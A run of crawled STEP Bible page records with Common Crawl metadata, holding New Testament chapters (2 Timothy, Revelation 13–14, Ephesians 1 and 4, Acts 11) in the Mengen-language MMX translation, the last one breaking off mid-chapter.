naba xasep, la dina sixiro basinge lelixo at ne Satan, i ranga alis kaka di xusu dina ronga res teren.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Ti.2","date":"2018-10-23T17:51:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516892.84\/warc\/CC-MAIN-20181023174507-20181023200007-00504.warc.gz","language":"mmx","language_score":0.9999932051,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999932050704956}","num_words":988,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aJer 15:2, 43:11\nRevelation of John 13\nLavatpanga Sio Mi Lavanuet Kangkedek Teren1 La nia aga ven lara lavatpanga sio mi lavanuet kangkedek teren ga ravasu boro at laras, ni ga ruuna lasangaun kom la lavanuti lempatlak, la lasangaun lempatbungorong gak lok ap mo lasangaun kom. La at nom lavanuti lempatlak, lavanuti levenasen aksaksa gak lok ti vaase vupu ri ne Moroa. 2 La mo lavatpanga sio ga lok ngan lavatlepat, la lengkangkedek teren ga lok ngan at lavatbea, la lungusno ga lok ngan at lavat laion. La mo lavattulaava ga raba i mi lololos teren la lixitkis teren ti lok tatao limixin la lisisilok teren mavana at lempanga axap. 3 La ga milik ngan lara at nom lempatlak at nom lavatpanga sio ga ruuna lining kooxing, lara ga sev aroogo i, ketla neni ga lox avukat manga. La limixin axap at na lavatbung menemen diga sangu aleng at nom lavatpanga sio la diga mumu asu i. 4 La diga lotu parap nom lavattulaava mila neni ga raba lololos teren ti lavatpanga sio. La mo limixin diga lotu parap bok lavatpanga sio, diga lok keretna, \"Kopmen tara i epovo mi na lavatpanga sio, la kopmen tara i epovo na sak tup min.\"\n5 La ni ga lok ka lololos kusu na vaase vupu la aksaksa ri ne Moroa. La ni ga epovo bok ti lok lempanga salai i vara rin at lavanuet sangaun mi legepu gaaling. 6 La ni ga ru ka i xusu na paase vupu ri ne Moroa, la ri laasen teren, la loxot kitkis teren, la tinedi bok dik lok to vana at laxalibet. 7 La ni ga lok ka lololos kusu na esep mi limixin at ne Moroa la na sak tup midi. La ni ga lok ka bok lololos mavana at limixin boro at larabung mixin axap la boro bok at levenasen bantuxu la boro bok at lempapaase axap la boro bok at levennep silok axap. 8 La limixin axap at na lavatbung menemen diba lotu parav i; nedi limixin kopmen levenasen atdi ik lok at lubuk at lorooro, mo lubuk ga nemen avot ti luruntudum li at na lavatbung menemen, la ni lubuk at Lanasip, mo ga uu at laxaba.\n9 Do tara i ruuna lubaalung, i lox avukat do neni na ronga ka na levelinga.\n10 'Do ne Moroa gara tong li vam i do tara nabat pas ti loxokoxo, neni naba vubeles ti loxokoxo; la do ne Moroa gara tong li vam i do diba sep tara mi lavarise sepsep, neni naba uu at leesep mi lavarise sepsep.' a\nKuren la limixin at ne Moroa dina tu tuxuruxun at lunuunu atdi la dina ngangais mi lomomo keneng ap mo levenmumuat.\nLavatpanga Sio Ga Vasu Boro Maxopok At Laxangka11 La nia aga ven bok lara lavatpanga sio vetpes ga vasu boro maxopok at laxangka; neni ga ruuna legepu kom, ga lok ngan luvatkom at lanat sipsip; la mo lavatpanga sio ga paase aksaksa ngan mo lavattulaava silok. 12 Neni ga ruuna ka lololos ap mo lavatpanga sio avot la ga pu soso limixin kusu dina lotu parap mo lavatpanga sio avot, no lara ga sev aroogo i, ketla neni ga lox avukat manga. 13 La mo lavatpanga sio sepsev agepura ga lok buaang lempanga sangsangu; ni ga lok laxao ga si boro vana at lamavangkap la ukopok ti laxangka. Ni ga lox i na ro melamgo at limixin axap kusu dina ven i. 14 La neni ga ruuna lololos ti lok levempanga sangsangu kusu na lox asilok lavatpanga sio avot, la kerepmo neni ga xarang arup limixin at na lavatbung menemen. Ni ga tong i ridi xusu dina lok lovoovo vanga ap mo lavatpanga sio avot, mo ga ruuna linin kooxing at lavarise sepsep, ketla kopmen goxo met teren. 15 La mo lavatpanga sio sepsev agepura ga ruuna ka lololos tin kusu na mas arup lamamas tooro uto xeneng at nom lovoovo vanga at lavatpanga sio avot, kusu neni na epovo ri paase la na sev amet nedi di xopara na lotu parav i. 16 La na lavatpanga sio sepsev agepura ga pu soso limixin axap, nedi limixin gamasa la limixin silok, nedi limixin nopnovos la limixin banbalo, la nedi limixin sepmus la limixin saksaxaruki; ni ga pu soso di xusu dina lok li loklok katling ap mo lavatpanga sio to at levengkikngen tino di xopla to at levenmang atdi. 17 La do tara i vara na un ka tempanga kopla na sesep mi lempanga, neni na ruuna be mo loklok katling; nom loklok katling ni laasen at nom lavatpanga sio xopla lexekexes at laasen teren.\n18 Mina lok ka lodoxoma avukat ti na. Do tara ikleklen aleng, neni na gu asu na leexes at lavatpanga sio. Na leexes i lok katling lara laradi, la leexes teren i epovo at lavanna sangaun kobot mi lavanna sangaun mi lavanna.(666)\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.13","date":"2018-10-16T06:43:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510019.12\/warc\/CC-MAIN-20181016051435-20181016072935-00544.warc.gz","language":"mmx","language_score":0.9999805689,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999805688858032}","num_words":949,"character_repetition_ratio":0.077,"word_repetition_ratio":0.006,"special_characters_ratio":0.217,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 14\nLanasip Eburu Mi Limixin Teren1 La nia aga milik kaxat la aga ven Lanasip ga tu to at lakaana Saion. La aga ven bok buaang limixin eburu min, mo diga epovo at legesa sangaun kobot mi lavanuet sangaun mi lavanuet larabin sangsangaun kobot (144,000) la diga ruuna laasen at ne Iesu eburu mi laasen at ne Temen to at levenmang atdi. 2 La aga ronga laxaka linga boro vana at laxalibet ga ninni ngan ladan silok i sesen lolos la ga ninni ngan bok lavanga i repaavat. Mo laxaka linga aga ronga i ga lok ngan bok luvuttadi diga sep levengkontaaleng. 3 La mo digak pixan mi loxompixan maxat to melamgo at loxonin orong at ne Moroa, la to melamgo at lavanuet levempanga rooro la to melamgo at loxongkulao amgomgo. Kopmen teta goxo epovo nak lok kaka mo loxompixan, ketla nedi na limixin kusuk mun, Moroa gara un ka amlong nedi kantubu at limixin at lavatbung menemen. 4 Nedi mun na limixin di goxo lok taxakapmek maxamang at lixitkis epot, mila diga tu asepsu basinge loklok ti elong ka. Nedi na limixin di mumu amisik Lanasip; Moroa ga un ka amlong di xantubu at limixin la diga lok ngan levempipisik avot ti ne Moroa la Lanasip. 5 La kopmen di goxo tong asu toxolinga xaxarang at lorooro axap atdi; la kopmen tavanga xapmek ik lok atdi.\nLempapaase Asu At Lavantun Lubungangelo6 La nia aga ven manga lara laangelo gap tava to vana at lamavangkap, la ni gap kip Lagale Lavavang i nemen amisik kusu na tong asu i ri limixin axap at na lavatbung menemen, nedi boro at levennep silok axap, la boro bok at larabung mixin axap, la boro bok at levempapaase axap, la boro bok at levenasen bantuxu axap. 7 Ni ga vaase silok keretna, \"Mina lok ngangao aleng at ne Moroa la mina emi asu min, mila loxonaleng i auret kusu neni na ronga linga at limixin axap. Mina lotu parap ne Moroa, mo ga rudum li laxalibet, lavatkangka, laras, la laradan axap.\"\n8 La na laangelo avot ga onon la laangelo sepsev agepura ga rupot manga la ga lok, \"Lemenemen silok Babilon ira xapmek pam, mo ga pu soso limixin at levengkot axap kusu dina vubeles at laxakapmek silok teren.\"\n9 Melemu atdu laangelo sepsev avantun ga rupot manga la ga xup lolos keretna, \"Mo do tara na lotu saparap mo lavatpanga sio la lavatpoovo vanga ren, la na ruuna ka loklok katling ap mo lavatpanga sio to at lamang teren, kopla to at lekngen, 10 neni bok naba suma ka lebelemamao at ne Moroa i lolos aleng; la neni nabang songot aleng to xeneng at laxao at lasalpa to melamgo at lubungangelo at ne Moroa la to melamgo bok at Lanasip. 11 La mo losongsongot ba lok ngan lusuxa i urut amisik la kopmen noxo xap at levenaleng kangking la kanimin bok; tara naba ekip tangarang mi na losongsongot do neni ga lotu saparap lavatpanga sio la lavatpoovo ren, kopla neni ga ruuna loklok katling at laasen at lavatpanga sio.\" 12 Na lavanga naba rupot, kuren la nedi limixin nuunu at ne Moroa mo ding tonga res at levelinga ren la di tu tuxuruxun at lunuunu atdi saparap ne Iesu, i epovo xusu dina nemen mulus mo do levenmumuat ba rupot.\n13 La aga ronga levelinga ga si boro vana at laxalibet ga lok tia, \"Una malagan i na. Luvukat tinedi dinaba met mi lunuunu atdi keneng at Leeme Silok ne Iesu, i ru ka nga i mo.\" La Loroonan Kaala ga lok bok keretna, \"I ruturun aleng. Diba ruuna loklox amas basinge levenmumuat la levesongsongot atdi, mila diba ruuna ka luunun avukat at lorooro melemu ti mo leveloklok nunuan digara lok pam i.\"\nLisilimet At Laaleng Ete14 La nia aga milik kaxat, la aga ven loxontakabu bunbun, la to mavana ap mo loxontakabu aga ven lara gat kis teren, ga milik ngan Laradi Mevana, la lavatbungorong gol gak lok at lavatlak teren, la neni gam tebeng lavarise sengsen. 15 La lara laangelo vetpes manga ga vas su boro xeneng at loogu laplavang, la gap kup lolos ti mo laradi gat kis at loxontakabu la ga lok, \"Una ru ka lugugu mi nom lavarise ram, mila laaleng mo ira vot ta, kusu una sep korop ka levempiao at na lavatbung menemen mo ira mukun pam.\" 16 La mo laradi gat kis ap mo loxontakabu ga gu xat mi mo lavarise ren at lavatbung menemen la ni ga lok bubua ka limixin axap at ne Moroa.\n17 La lara laangelo vetpes manga ga vasu at loogu laplavang to vana at laxalibet, la neni bok gam tebeng lavarise sengsen. 18 La lara laangelo vetpes mo gak lok tatao laxao, ga laa boro at loxonin laplavang. La ni ga xup lolos ti mo laangelo gam tebeng lavarise sengsen; la ni ga lok keretna, \"Una gugu mi nom lavarise sengsen taram la una lok bubua ka levempipisik at lavaen at na lavatbung menemen, mila lempeven teren ira mukun pam.\" 19 Kuren la laangelo ga gu xat mi lavarise ren at na lavatbung menemen la ga lok bubua ka lempeven at lavaen, la ga lu abeles midi ro xeneng at loxot lili at levempeven vaen, mo i ru katling lebelemamao at ne Moroa. 20 La mo lempeven vaen digat pas puuvus asu ladan teren to maxamang ap mo lemenemen silok, la lada ga sixisu boro xeneng ap mo loxot lili at levempeven vaen; mo lada ga umsu aleng ngan ladanut la lamaxat ap mo ladan ga si aleng ngan lababaalom at laradi la ga sesen uto vaxalom, ga epovo at lavantun sangaun kobot (300) leveng kilomita.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.14","date":"2018-10-18T11:45:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511806.8\/warc\/CC-MAIN-20181018105742-20181018131242-00545.warc.gz","language":"mmx","language_score":0.9999928474,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999992847442627}","num_words":1083,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ephesians 1\nLavapaase Axasep1 Nenia ne Pol, laradi vavang at ne Iesu Karisito; Moroa ga soxolik ka ia ri na lugugu.\nNia a malagan na levelinga rinemi limixin nuunu boro Epesas, mi nuunu ruturun keneng at ne Iesu Karisito. 2 Letaba nabalamu mi lenmila rinemi boro at ne Temen dik la Leeme Silok ne Iesu Karisito.\nLeveloklox Anarong At Loroonan Kaala Ri Limixin Nuunu3 Nedik ata emi asu mi ne Moroa, Temen ne Iesu Karisito, Leeme Silok atdik. Neni gara lox anarong pam nedik mi leveloklok anarong axap boro vana at laxalibet tinedik limixin at ne Karisito. 4 Ni ga soxolik ka nedik mumu ne Karisito, avot ti luruntudum li at lavatbung menemen, kusu dik tana dadat basinge laxakapmek la taba nunuan axap at lemeren. Neni i umsu mi labalamu la kerepmo, 5 ga paase alii do ne Iesu Karisito naba lok tomtom buru ka nedik axap ngan luvutnitna, i ngan lomomo la lodoxoma ren kuren. 6 Kuren la nedik axap ata emi asu mi ne Moroa ri letaba nabalamu ren i nunuan aleng, la ni ga raba gamasa dik min, maxeneng at lugugu at ne Nitna, mo ne Moroa i balamu i. 7 Ni ga met la lada ren ga sen su kusu ri un ka amlong dik, la kusu ne Moroa naba doxoma xepe leveloklok kakapmek atdik. Kerepmo ne Moroa ga lox asuusu letaba nabalamu ren i silok aleng, 8 mo ni ga lox aumsu dik min eburu mi lodoxoma avukat la lakleklen teren. 9 La at lavavara ren ni ga tong axasep dik mi lodomdoma alii ren, mo ga nemen alipe la ni ga doma alii i do ne Karisito ni lavasuun teren. 10 La at laaleng mokmokso ne Moroa naba lox epovo nom lodomdoma alii la naba sat tomtom buru ka lempanga axap, mo ik lok to vana at laxalibet la ik lok bok nade xopok at lavatbung menemen, kusu ne Karisito naba nemen ngan lamgomgo atdi.\n11 Maxeneng at ne Karisito, Moroa ga soxolik ka dik do ateren; ganoxa ni ga tong li i xuren, la na i epovo mi lodomdoma alii at ne Moroa, mo ik lok lempanga i ngan lodoxoma la lavavara ren. 12 Ni ga lox i xuren kusu nema avot leme Judaia maga nuunu at ne Karisito, taba emi asu mi ne Moroa la taba lox aurut laasen teren. 13 La nemi bok miga ravasu ngan limixin at ne Karisito at loxonaleng miga ronga xisip levelinga ruturun teren, ni Lagale Lavavang i vaase axasep loklox arooro ri limixin. Ap mo loxonaleng miga ru ka lunuunu saparap ne Karisito, Moroa ga lok li nimi ngan limixin teren la ga raba nimi mi loklok katling teren, ni Loroonan Kaala, mo ne Moroa ga paase alii min ti limixin teren. 14 Na Loroonan Kaala i lok ngan lampinebeng ti loklox arooro atdik kusu nedik tanaba lok ka mo leventamtaba ne Moroa gara vaase alii vam min ti limixin teren, la nabak lok kuren se at laaleng ne Moroa naba lox epovo loklox arooro ridik. Ata emi asu mi ne Moroa i silok aleng.\nLisingising At Ne Pol15 Nia aga ronga levelinga mumu lunuunu atnemi maxeneng at Leeme Silok, ne Iesu, la labalamu atnemi ti limixin axap at ne Moroa; 16 kuren la, nia xopmen na xap korop ti tong loklox avukat ti ne Moroa mumu nimi. La at levesingising tarak a doma mumu nimi, 17 la a sing amisik lagale lo Moroa, ne Temen Leeme Silok atdik, Iesu Karisito, ti song araba nimi mi Loroonan teren, mo naba suxa nimi mi lodoxoma nunuan la laxasep kusu nemi mibakleklen avukat ne Moroa. 18 Nia a sing bok ne Moroa do lodoxoma atnemi na rem suang kusu miba xasep ap mo leveloklox anarong, neni ga ro ka nimi ri lok ka i. Mo leveloklox anarong i ngan lapnovos silok i lox avukat aleng la i nemen tangais limixin axa ren. 19 La miba xasep ap mo lololos teren i silok aleng, mo i lok tooro nedik limixin nuunu. Mo lololos i ravasu at lololos silok at ne Moroa, 20 mo ni ga lox asu i ap mo laaleng neni ga lox axatu ne Karisito basinge lanmet la ga vaxaxis i saparap lekngen tino ro vana at laxalibet. 21 Neni ga lok li ne Karisito tim gomgo ri leventoonan eburu mi lubungangelo la luvuttadi amgomgo atdi la limixin lolos kerepmo; laasen teren i silok ti levenasen atdi; la ik lok kuren at na levenaleng la nabak lok bok kuren ap mo levenaleng mo ba vot. 22 Moroa ga lok li lempanga axap maxopok at luxangkedek at ne Karisito la ga lok li i rim gomgo at lempanga axap at lotu. 23 Limixin at lotu nedi di lok ngan labantuxu at ne Karisito, mo i nemen ampana atnedi axap la i nemen ampana bok at lengkot axap at na lavatbung menemen.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Eph.1","date":"2018-10-24T02:26:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583518753.75\/warc\/CC-MAIN-20181024021948-20181024043448-00269.warc.gz","language":"mmx","language_score":0.9999938011,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999938011169434}","num_words":945,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.29,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 11\nPita Ga Vaase Asu Lugugu Ren To Jerusalem1 Luvuttadi vavang la luvuttadi nuunu at lengkot axap Judaia diga ronga i do limixin kopmen di me Judaia bok mo diga siam ka vam levelinga at ne Moroa. 2 La ne Pita gamlong uto Jerusalem. La nedi limixin nuunu diga lok do ik mokso ri rivit kepe lengkontuxu, diga musak aleng ne Pita. 3 Diga lok, \"Nenu loose mun keneng at loogu atnedi limixin kopmen di me Judaia, kopmen dina rivit kepe lengkontuxu atnedi; la nenu uga anan eburu minedi.\"\n4 La ne Pita ga tong axasep nedi mi mo lempanga ga ravasu. 5 Ni ga lok keretna, \"Nia aga ngising to Jopa la nia aga ven lisilimet; la aga ven lavanga ga si boro vana la ukopok, ga lok ngan lavattamon silok diga lox asi i boro vana at laxalibet ga ruuna lavanuet mesuluk; la ni ga los kis saparav ia. 6 Nia aga ven avukat keneng teren la nia aga ven lempanga mi lavanuet kangkedek, limixin di lok tatao nedi la lentaba kopmen limixin dina lok tatao nedi, la lempanga axap di vokaxao mi lebelen di la levenasen pixa axap. 7 La nia aga ronga laxaka at ne Moroa ga lok tia xeretna, 'Pita, una xatu upana, una sep di la una anan i.'\n8 Ketla nia aga lok, 'Kopmen tinotno, Moroa. Nenia a goxovisi an tepempanga i bilinga.'\n9 La ne Moroa ga vaase manga ria boro vana at laxalibet keretna, 'Nemen uta tong tavanga do i bilinga, mila nenia ara lok pam do i lox avukat.' 10 Na lavanga ga ravasi ga vantun, la melemu nom lempanga axap garamlong bok nga uto vana at laxalibet.\n11 Ap mo mene loxonaleng lavantun luvuttadi diga rupot boro Sisaria; nedi diga rupot ap mo loogu nenia aga nemen teren. 12 La Loroonan Kaala ga tong i ria xusu anat pas eburu midi uto Sisaria la nemen nia ta doma solo i. La nedi na lavanna luvuttadi nuunu boro Jopa, nedi diga emu eburu minia uto Sisaria; la nema axap maga beles ukeneng at loogu at ne Konilias. 13 Ni ga tong i rinama do ni ga ven laangelo ga tu ro xeneng at loogu ren la ga lok tin keretna, 'Una riki tentaba uto Jopa kusu dina lam kaka lara laradi, laasen tinotno ren ne Simon Pita. 14 Ni ba vaase tevelinga ru la nenu minedi axap na di nemen at loogu ram miba roo suu.'\n15 La nia aga vaxaru xaka i do ana vaase, la Loroonan Kaala ga vubeles atnedi getgesara kerekngan ap mo laaleng Loroonan Kaala ga beles atdik. 16 La nia aga doxomangke at levelinga at Leeme Silok ga lok keretna, 'Jon ga sep susu limixin mi ladan mene, ketla nemi miba lok ka lesep susu at Loroonan Kaala.' 17 I xasep do ne Moroa ga raba limixin kopmen di me Judaia mi Loroonan Kaala, kerekngan ni ga raba nedik min; nedik taga lok ka lorooro maxat at ne Iesu Karisito. Nenia nege la ana lok tong pen i do ana lok pe lugugu at ne Moroa.\"\n18 Diga ronga i na la lodoxoma atdi ga lok mulus la diga emi asu mi ne Moroa. Diga lok, \"Moroa ira suang pam langas ti lorooro xusu limixin kopmen di me Judaia, dina leeng basinge laxakapmek atnedi la dina ruuna ka lorooro maxat.\"\nLuvuttadi Nuunu At Ne Iesu Diga Rupot To Antiok19 Buaang nedi luvuttadi nuunu diga epeseves uto at levengkot Judaia la at lengkot petpes bok mumu levesongsongot limixin kakapmek diga ru ka i at loxonaleng diga sev amet ne Stiven. Lentaba atnedi digat pas upaxalom uto Pinisia la Saipras la Antiok, diga tong asu Lagale Lavavang at ne Iesu ti leme Judaia kusuk la kopmen ti levenabung mixin petpes. 20 Ketla lentaba luvuttadi nuunu boro Saipras la Sairini, digat pas uto Antiok la diga vavang go ri limixin kopmen di me Judaia; diga tong asu Lagale Lavavang at Leeme Silok ne Iesu. 21 La Leeme Silok ga lox alolos nedi la buaang nedi limixin diga nuunu la diga leeng basinge laxakapmek atdi la diga raba lorooro atdi ri Leeme Silok.\n22 Levelinga mumu i na lavanga ga rupot ti limixin nuunu ro Jerusalem; kuren la diga riki ne Banabas uto Antiok. 23 Ni ga rupot la ni ga ven i do ne Moroa ga lox aumsu mo limixin mi letaba nabalamu ren. Ni ga lok momo la ga vaase lolos tinedi axap kusu dina tu lolos mi lunuunu la luruturun atnedi saparap Leeme Silok mi lodoxoma atdi axap. 24 Banabas ga lok tooro di mila neni lagale laradi ga umsu mi Loroonan Kaala la lunuunu ren ga lolos. La buaang nedi limixin me Antiok diga raba lorooro atnedi ri Leeme Silok.\n25 Melemu ne Banabas gat pas uto Tasas kusu na ven ti ne Sol. 26 La ne Banabas ga vosiga i la ni ga lam kaka i uto Antiok. At legesa maares kudun nedu dugat pot eburu minedi buaang limixin ap mo loxot la duga anasa di. Mo go mun Antiok limixin nuunu diga lok ka avot na laasen Kristen.\n27 Ap mo levenaleng lentaba lavaeme vapaase alii diga vas kaxat boro Jerusalem la diga rupot to Antiok. 28 Lara atnedi ne Agabas ga xatu upana la at lololos at Loroonan Kaala ga vaase alii do lean kangking naba rupot at lavatbung menemen axap. Ga vot ap mo levenaleng ne Kolodias gam gomgo ri limixin me Rom. 29 Limixin nuunu boro Antiok diga vaase i do dina lok tooro limixin nuunu ro Judaia. Nedi diga ruuna lempilas buaang, diga raba i. 30 Diga lox i xuren la diga lox aonon lempilas at lukngen ne Banabas mi ne Sol, kusu duba raba luvuttadi gomgo at lotu min, go Jerusalem.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.11","date":"2018-10-15T13:53:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509196.33\/warc\/CC-MAIN-20181015121848-20181015143348-00031.warc.gz","language":"mmx","language_score":0.999984026,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999840259552002}","num_words":1088,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ephesians 4\nNedik Limixin Nuunu I Ngan Labantuxu At Ne Iesu1 Nenia ak lok at loxokoxo mumu lugugu at Leeme Silok. Kuren la nia a sing nimi do lorooro atnimi naba lok nunuan axap, i epovo mi lorotoro at ne Moroa tinimi la i epovo mi lavavara at ne Moroa. 2 Lorooro axap atnimi na umsu mi langsangan loklok ngangao la loklox anare; mina nemen mulus mene la mina lox asuusu labalamu rinedi di lok laxakapmek. 3 La mina lolos kusu mina tu buru mi legesa doxoma at Loroonan Kaala, la lorooro atnimi nat kis atnaasan mi limila. 4 Legesa bantuxu mene nga la legesa Roonan Kaala, kerekngan mun ne Moroa gara ro xaka vam nimi ti legesa doxoma voovo, 5 la leges Eme Silok, legesa nuunu la legesa sep susu; 6 legesa Moroa la neni ne Temen nedik axap. Neni lamgomgo at limixin axap teren, ni ik lok at lengkot axap la i nemen keneng atnedik limixin axap teren.\n7 Karisito ga lox epes letaba nabalamu ren tinedik getgesara. 8 I ngan Lovoang Kaala i tong i,\n\"Ap mo laaleng ni gat pas uto vana at laxalibet, ni ga emu ka buaang limixin kokoxo eburu min, la ni ga raba levenasen tamtaba ri limixin teren.\" a\n9 Anai, i tong i do neni gat pas uto vana at laxalibet, kuren la avot ti nom neni ga si ukopok ti na lavatbung menemen. 10 Neni ga si ukopok, la melemu gat pas uto mavana xa at laxalibet kusu laasen teren na epeseves ti lengkot axap. 11 Neni vam ga raba leventamtaba ri limixin teren. Ni ga soxolik ka lentaba ri gugu ngan luvuttadi vavang la lentaba ri gugu ngan luvuttadi vapaase alii. Lentaba diga lok ka lugugu ngan luvuttadi vapaase asu levelinga at ne Moroa, la lentaba ri gugu ngan luvuttadi loklok tatao lotu la lentaba ti lox ase limixin mi levelinga at ne Moroa. 12 Karisito ga raba leventamtaba kerepmo ri lox agagas limixin teren ti lok lugugu ren kusu diba epovo na elok tooro ela la dina lox alolos labantuxu at ne Karisito. 13 La na loklok ba gugu xeneng nedik axap se taba lok ngan legesara rinotno at lunuunu saparap ne Nitna ne Moroa la taba ruuna ka nom lakleklen mumu ne Nitna ne Moroa. Kerepmo la nedik taba vee ngan limixin mukun ap mo lunuunu la lorooro atdik ba nunuan axap kerekngan ne Karisito.\n14 Do lorooro atdik nak lok kuren, lunuunu atdik noxo lok ngan lunuunu at laxamdak lixilik, it los ekat ngan laras i repit la iap sep tang at lisim la ira onon taba ugo la ude to at lamaxat. Kerepmo lavaeme loklox ase xaxarang di lok tong i xusu dina sar asoogong lunuunu atdik basinge ne Karisito mi leveloklox ase xaxarang la levelinga babala arup. 15 Ketla nedik ta paase asu levelinga ruturun at ne Moroa, la lorooro atdik na umsu mi labalamu; la at lorooro axap atdik, ataba ravasu lolos la mina sep sogo ri lamgomgo atdik ne Karisito. 16 Nedik axap ta lok ngan labantuxu ren la maxeneng teren dik tat kis buru. La lengkot axap at labantuxu ren na elok tooro ela, la kerepmo labantuxu ren ba su lolos la ba lox aru axa i mi labalamu, mo do lengkot axap na gugu nunuan.\nLorooro 